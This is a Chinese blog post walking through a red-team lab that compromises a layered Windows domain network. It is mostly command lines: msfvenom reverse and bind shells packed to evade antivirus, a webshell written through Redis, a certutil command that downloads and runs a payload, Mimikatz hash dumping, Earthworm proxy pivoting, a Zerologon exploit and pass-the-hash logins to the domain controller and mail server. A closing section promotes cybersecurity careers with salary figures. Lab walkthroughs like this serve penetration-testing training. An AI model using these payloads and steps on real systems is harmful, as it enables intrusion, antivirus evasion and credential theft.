安全攻防实战系列 MSF

程序员柚柚

已于 2024-01-24 16:03:15 修改

阅读量198

点赞数

文章标签：安全运维服务器 web安全网络

于 2023-11-16 10:47:37 首次发布

本文链接：https://blog.csdn.net/yy17111342926/article/details/134436175

版权

前言在红队攻防中，我们主要在外网进行信息收集，通过 cms 或者其他漏洞拿到 shell，之后通过免杀木马将 windows 或 linux 服务器上线到 cobalt strike 或 msf 等 c2 服务器，之后对内网进行信息收集并绘制网络拓扑图，进行工作组或域渗透，拿到各个网段机器的权限，远程登陆并截图证明。

环境配置从虚拟机网络来看

机器描述

攻击机：win10：192.168.1.6kali：192.168.1.10
第一层：12server-bt：192.168.1.5192.168.59.133
第二层：12server-redis：192.168.59.410.10.10.202
第三层：12server-ex13：10.10.10.209
第三层：12server-dc：10.10.10.201
192.168.59.133 存在杀软(火绒), 可通外网, 可访问server-redis192.168.59.4/10.10.10.202 不通外网，可以通内网两个机器，也可以访问到机器server-bt,10.10.10.209 为邮服, 只能内网机器互相访问10.10.10.201 为 DC

目录如下

第一层 server-bt

蚁剑拿 shell

msf 免杀拿 shell 使用 msfvenom 生成免杀木马 payload，里面的 IP 和端口自行修改，就是反弹 shell 的 kali

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=6666 -e x86/shikata_ga_nai -i 12 -f raw -o msf.bin

复制代码

使用分离免杀工具生成 loader.exe 文件

对生成的 exe 文件进行加壳免杀

免杀效果如下

免杀之后通过蚁剑上传到 server-bt 上

msf 开启监听

msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.1.10set lport 6666run

复制代码

蚁剑运行

getuid

migrate 476

msf 内网渗透 load mimikatz # 加载 Mimikatz 模块

抓取 Hashmeterpreter > mimikatz_command -f samdump::hashes

hashdump

然后抓到了 hash：通过解密得到了 administrator 的密码 route print # 打印路由信息

对内网进行扫描 arp 存活run post/windows/gather/arp_scanner rhosts=192.168.59.0/24

配置路由 meterpreter > run autoroute -s 192.168.59.0/24

开启远程桌面 run post/windows/manage/enable_rdp

成功开启了远程桌面，并且生成了一个 txt 文件，这个 txt 文件往后可用来关闭远程桌面，关闭命令 run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt

绕过火绒添加用户蚂蚁剑或者 cs 上传添加用户.exe

运行文件

帐号：hxxxr 密码：Pxxxxd 远程登录 server-bt

权限提升使用 psexec.exe 可以提升到 system 权限 psexec.exe -accepteula -s -i -d cmd.exe

但是桌面还是之前用户的权限启动的

为了完全提权，我们可以在 system 的 cmd 里面输入 taskmgr.exe 来启动任务管理器

在任务管理器里面我们结束掉之前由之前账号开启的桌面进程

然后再添加一个由 system 权限下开启的桌面进程

再点入看现在登入的账号是

第二层 server-redis

Earthworm 穿透上传 EW（Earthworm）到 C:/wwwroot/

服务器端执行以下命令execute C:\wwwroot\ew.exe -s ssocksd -l 1090

这里还需要修改 proxychains.conf 配置文件

$ vim /etc/proxychains.confsocks5 192.168.1.5 1090

探测内网网段存活主机proxychains nmap -sT -Pn -p 80 192.168.59.0/24

192.168.59.4 是存活的，我们着重看一下,发现开了 80 和 6379

Redis-getshell

kali 环境进行爆破proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379

得到 Redis 口令：连接 redisproxychains src/redis-cli -h 192.168.59.4 -a 1xxxxx

备份文件写 Shell

192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"   进入默认目录192.168.59.4:6379>config set dbfilename "redis.asp"       创建文件192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"   写入webshell192.168.59.4:6379>save                                    最后保存

利用过程

代理蚁剑进行连接这个 shell

成功连接到 server-redis

并查看权限

利用蚁剑把 SweetPotato.exe（甜土豆）上传到 C:/Redis/或者 C:/ProgramData/目录下

成功进行提权

msf 正向免杀木马拿到 shell

Earthworm 穿透挂代理，通过之前上传的 EW（Earthworm）

服务器端执行以下命令(关掉 server-bt 的防火墙代理才能生效)execute C:\wwwroot\ew.exe -s ssocksd -l 1090

这里还需要修改 proxychains.conf 配置文件

$ vim /etc/proxychains.confsocks5 192.168.1.5 1090

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin

用 msfvenom 生成一个正向马传进去（因为无法访问外网，反向出不来），msf 正向连接。

使用分离免杀工具生成 loader.exe 文件

改名为 msf1.exe，进行加壳免杀

免杀效果如下

先把木马通过蚂蚁剑上传到宝塔(需要进行免杀)，火绒未告警

通过 redis 的 shell 进行操作，192.168.59.4 远程下载 192.168.59.133 上的马

C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/msf1.exe msf1.exe

再通过提权工具进行执行 C:\ProgramData\xxxx.exe -i -c "msf1.exe"

也可以直接将木马上传到 server-redis 的 C:/Redis/可写目录下就不需要免杀了 msf 通过代理开启监听

proxychains msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 192.168.59.4set lport 4444run

成功获取服务器的 shell，之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。

migrate 3992getuidgetsystemgetuid

添加账户和远程连接同第一层

msf 内网渗透

load mimikatz # 加载 Mimikatz 模块

抓取 Hashmeterpreter > mimikatz_command -f samdump::hashes

hashdump

得到 12SERVER-REDIS 账号密码：

route print # 打印路由信息

配置路由meterpreter > run autoroute -s 10.10.10.0/24

run autoroute -p

通过蚂蚁剑将 nbtscan.exe 上传到 server-redis 的 Redis 可读写目录下

探测内网段存活nbtscan.exe 10.10.10.0/24

ipconfig /all10.10.10.0/24 段的 DNS 服务器是 10.10.10.201 而在域环境中 DNS 服务器就是当前使用的域控制器

添加完路由后可以通过 msf 访问所有机器，访问域控proxychains curl 10.10.10.201

第三层 server-dc

zerologon（CVE-2020-1472）漏洞复现

这里已经满足触发 zerologon 的两个条件，能 ping 通域控制器，知道域控计算机名，当然最后 dump 出域内所有 hash 的时候需要域名置空域控机器用户 NTLM hashproxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201

接下来用置空的机器账户 dump 所有 hash

(890c 这个 hash 就是"空"的 NTML hash）

我们的目标是获得域内 administrator 的 hash，然后就可以 hash 传递，登陆任意域内机器

proxychains wmiexec.py -hashes :42e265xxxxxx62387 administrator@10.10.10.201

利用 psexec(PTH)上线 server-dc 到 MSF：

proxychains msfconsoleuse exploit/windows/smb/psexecset RHOST 10.10.10.201set SMBUser Administratorset SMBPass aad3bxxxxxxxx4ee:42e265xxxxxx962387set SMBDomain xxxxxset payload windows/x64/meterpreter/bind_tcp_rc4set  LPORT 4446 run

成功获取到 shell

利用 psexec 上线 server-ex13 到 MSF：

proxychains msfconsoleuse exploit/windows/smb/psexecset RHOST 10.10.10.209set SMBUser Administratorset SMBPass aad3bxxxxxxxee:42exxxxxxx387set SMBDomain xxxxset payload windows/x64/meterpreter/bind_tcp_rc4set  LPORT 4447 run

题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

2023届全国高校毕业生预计达到1158万人，就业形势严峻；
国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。